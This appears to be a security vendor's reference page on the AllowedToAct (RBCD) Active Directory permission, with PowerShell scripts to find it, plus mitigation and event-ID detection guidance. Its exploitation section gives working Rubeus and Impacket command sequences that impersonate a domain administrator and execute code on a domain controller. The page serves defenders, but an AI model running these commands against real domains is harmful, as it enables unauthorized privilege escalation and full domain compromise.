Skip to content

AllowedToAct

Copy page

Summary

Forestall ACL Alias AllowedToAct
Affected Object Types Computers
Exploitation Certainty Certain
AD Attribute msDS-AllowedToActOnBehalfOfOtherIdentity
AD Attribute Guid 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79

Description

The AllowedToAct edge in Active Directory indicates that a computer account has the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. This setting is used for Kerberos Resource-Based Constrained Delegation (RBCD), allowing services to impersonate users securely and access resources on their behalf.

If misconfigured, the AllowedToAct permission can create serious security risks. An attacker who controls an account granted this permission can abuse RBCD to impersonate arbitrary users when accessing services on the targeted machine. This can lead to unauthorized access, privilege escalation, and full system compromise — including acting as domain administrators to access sensitive resources.

Identification

PowerShell

Active Directory Module

Using the ActiveDirectory PowerShell module, you can enumerate AllowedToAct entries.

1. Find-AllowedToAct function

function Find-AllowedToAct {
[CmdletBinding()]
param ([string]$Target = $null,[string]$SearchBase = $null,[string]$OutputPath = "AllowedToAct.csv")
Import-Module ActiveDirectory
Write-Host "Gathering Active Directory objects with resource-based constrained delegation settings..."
$adObjectParams = @{
Filter = "*"
Properties = "msDS-AllowedToActOnBehalfOfOtherIdentity"
ErrorAction = "Stop"}
if ($SearchBase) {$adObjectParams.Add("SearchBase", $SearchBase);Write-Host "Searching for objects within '$SearchBase'."} else {$adObjectParams.Add("SearchBase", (Get-ADRootDSE).DefaultNamingContext);Write-Host "Searching for all objects in the domain."}
$results = @();$objectsToScan = @()
try {if ($Target) {
Write-Host "Searching for delegation properties on specific object: '$Target'."
$specificObject = Get-ADComputer -Identity $Target -Properties "msDS-AllowedToActOnBehalfOfOtherIdentity" -ErrorAction Stop
if ($specificObject) { $objectsToScan += $specificObject} else {Write-Output "Object '$Target' not found.";return}
} else {$objectsToScan = Get-ADComputer @adObjectParams}
$objectsToScan = $objectsToScan | Where-Object { $_.'msDS-AllowedToActOnBehalfOfOtherIdentity' }
if (-not $objectsToScan) { Write-Output "No objects found with 'msDS-AllowedToActOnBehalfOfOtherIdentity' configured.";return}
Write-Host "Processing $($objectsToScan.Count) object(s)..."
foreach ($object in $objectsToScan) {
$secDesc = $object.'msDS-AllowedToActOnBehalfOfOtherIdentity'
if ($secDesc -is [System.DirectoryServices.ActiveDirectorySecurity]) {
foreach ($ace in $secDesc.GetAccessRules($true, $true, [System.Security.Principal.SecurityIdentifier])) {
$sid = $ace.IdentityReference;$objectName = "Unknown" # Default value
try {
$adObject = [ADSI]("LDAP://<SID=$($sid.Value)>")
if ($adObject.Properties["name"].Count -gt 0) {$objectName = $adObject.Properties["name"][0]} else {$objectName = "SID: $($sid.Value)" }}
catch {Write-Warning "Could not resolve SID '$($sid.Value)' for object '$($object.Name)': $($_.Exception.Message)";$objectName = "SID: $($sid.Value) (Resolution Failed)";}
$results += [PSCustomObject]@{
To = $object.Name
CanDelegate = $objectName}}} else {Write-Warning "The 'msDS-AllowedToActOnBehalfOfOtherIdentity' attribute for object '$($object.Name)' is not a valid ActiveDirectorySecurity object. Type: $($secDesc.GetType().FullName)"}}}
catch { Write-Error "Failed to retrieve Active Directory objects or process delegation settings: $($_.Exception.Message)";return; }
if ($results.Count -gt 0) {
Write-Host "Found $($results.Count) resource-based constrained delegation entry/entries."
try {$results | Sort-Object -Unique To, CanDelegate | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8;Write-Output "Results exported successfully to '$OutputPath'"}catch {Write-Error "Failed to export results to CSV file '$OutputPath': $($_.Exception.Message)"}} else {Write-Output "No resource-based constrained delegation entries found."}}

2. Scan all domain computers objects

Find-AllowedToAct

3. Scan a specified computer object

Find-AllowedToAct -Target vm01

4. Using SearchBase to limit the Scope

Find-AllowedToAct -SearchBase "OU=Workstations,DC=forestall,DC=labs"

.NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate AllowedToAct entries without relying on external modules or dependencies.

1. Find-AllowedToActSimple function

function Find-AllowedToActSimple {
[CmdletBinding()]
param ([string]$Target = $null,[string]$SearchBase = $null,[string]$OutputPath = "AllowedToAct.csv")
$rootDse = [ADSI]"LDAP://RootDSE";$domainDN = $rootDse.defaultNamingContext
$ldapRoot = if ($SearchBase) { "LDAP://$SearchBase" } else { "LDAP://$domainDN" };$searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$ldapRoot)
$searcher.Filter = if ($Target) { "(&(objectClass=computer)(cn=$Target))" } else { "(objectClass=computer)" };$searcher.PageSize = 500
$searcher.PropertiesToLoad.Add('cn') | Out-Null;$searcher.PropertiesToLoad.Add('msDS-AllowedToActOnBehalfOfOtherIdentity') | Out-Null
$results = @()
foreach ($entry in $searcher.FindAll()) {
$name = $entry.Properties['cn'][0]
if ($entry.Properties['msDS-AllowedToActOnBehalfOfOtherIdentity'].Count -gt 0) {
$raw = $entry.Properties['msDS-AllowedToActOnBehalfOfOtherIdentity'][0]
$secDesc = New-Object System.DirectoryServices.ActiveDirectorySecurity
$secDesc.SetSecurityDescriptorBinaryForm($raw)
foreach ($ace in $secDesc.GetAccessRules($true, $true, [System.Security.Principal.SecurityIdentifier])) {
$sid = $ace.IdentityReference
$objectName = "Unknown"
try {
$adObject = [ADSI]("LDAP://<SID=$($sid.Value)>")
if ($adObject.Properties["name"].Count -gt 0) {$objectName = $adObject.Properties["name"][0]} else {$objectName = "SID: $($sid.Value)"}} catch {
Write-Warning "Could not resolve SID '$($sid.Value)' for object '$name': $($_.Exception.Message)"
$objectName = "SID: $($sid.Value) (Resolution Failed)"}
$results += [PSCustomObject]@{
To = $name
CanDelegate = $objectName}}} else {Write-Verbose "No msDS-AllowedToActOnBehalfOfOtherIdentity attribute for '$name'"}}
if ($results.Count -gt 0) {
$results | Sort-Object -Property To, CanDelegate -Unique | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8;Write-Host "Exported $($results.Count) entries to '$OutputPath'"
} else {Write-Host "No resource-based constrained delegation entries found."}}

2. Scan all domain computers

Find-AllowedToActSimple

3. Scan a specific computer

Find-AllowedToActSimple -Target "vm01"

This edge cannot be identified using the Active Directory Users and Computers (ADUC) GUI.

Exploitation

Windows

To get a TGT using Rubeus

Rubeus.exe asktgt /user:"controlledaccountwithSPN" /aes265:<aeskey> /nowrap

To get a service ticket impersonating the administrator:

Rubeus.exe s4u /nowrap /impersonateuser:"<impersonateUser>" /msdsspn:"<Vulnerable Computer's SPN>" /domain:"<Domain FQDN>" /user:"<Controlled Computer Account>" /ticket:<base64ticketofcontrolleduser>

To calculate the NTLM hash and AES keys

Rubeus.exe hash /password:<Password>
# OR for a specific user
Rubeus.exe hash /user:<Username> /domain:"<Domain FQDN>" /password:<Password>

Example:

Rubeus.exe tgtdeleg /nowrap
Get TGT for current user

Get TGT for current user

.\Rubeus.exe s4u /msdsspn:"cifs/dc.forestall.labs" /impersonateuser:administrator /ptt /nowrap /ticket:"doI[snip..]Uw=="
Get TGS using s4u

Get TGS using s4u

Access c$ share on target

ls \\dc.forestall.labs\c$
Check admin access on c$

Check admin access on c$

Linux

You can also perform Resource-Based Constrained Delegation (RBCD) from Linux. The Impacket tools must be installed before running these commands.

To get a service ticket

impacket-getST -spn '<Target SPN>' -impersonate '<Impersonated User>' -dc-ip 'Domain Controller IP' '<Domain>'/'<Controlled Computer Account>$:<Password>'

Execute on the target machine

KRB5CCNAME='<ticket.ccache>' impacket-psexec -k -no-pass '<Domain>/<Impersonated User>@<Target Address>'

Example:

To get a service ticket

impacket-getST -spn cifs/dc.forestall.labs -impersonate administrator forestall.labs/sql_svc:'JustLongPass123!@#'
Get TGS using getST

Get TGS using getST

Execute on the target machine

KRB5CCNAME='administrator@[email protected]' impacket-psexec -k -no-pass forestall.labs/[email protected]
Execute on target machine using psexec

Execute on target machine using psexec

Mitigation

Remove dangerous access control entries from computer objects. The following PowerShell command clears the attribute from a computer object:

Set-ADComputer -Identity <Vulnerable Computer> -clear msDS-AllowedToActOnBehalfOfOtherIdentity

Example:

Set-ADComputer -Identity dc -clear msDS-AllowedToActOnBehalfOfOtherIdentity

Detection

Adding new access control entries on computer objects changes the ntSecurityDescriptor attribute. These changes can be detected using Event IDs 5136 and 4662 to identify modifications to computer objects.

Event ID Description Fields/Attributes References
5136 A directory service object was modified. ntSecurityDescriptor https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136|
4662 An operation was performed on an object. AccessList, AccessMask https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662|
4768 A Kerberos authentication ticket (TGT) was requested. TargetUserName https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768
4769 A Kerberos service ticket was requested. TargetUserName, ServiceName https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769

References

Was this page helpful?

Thank you for your feedback.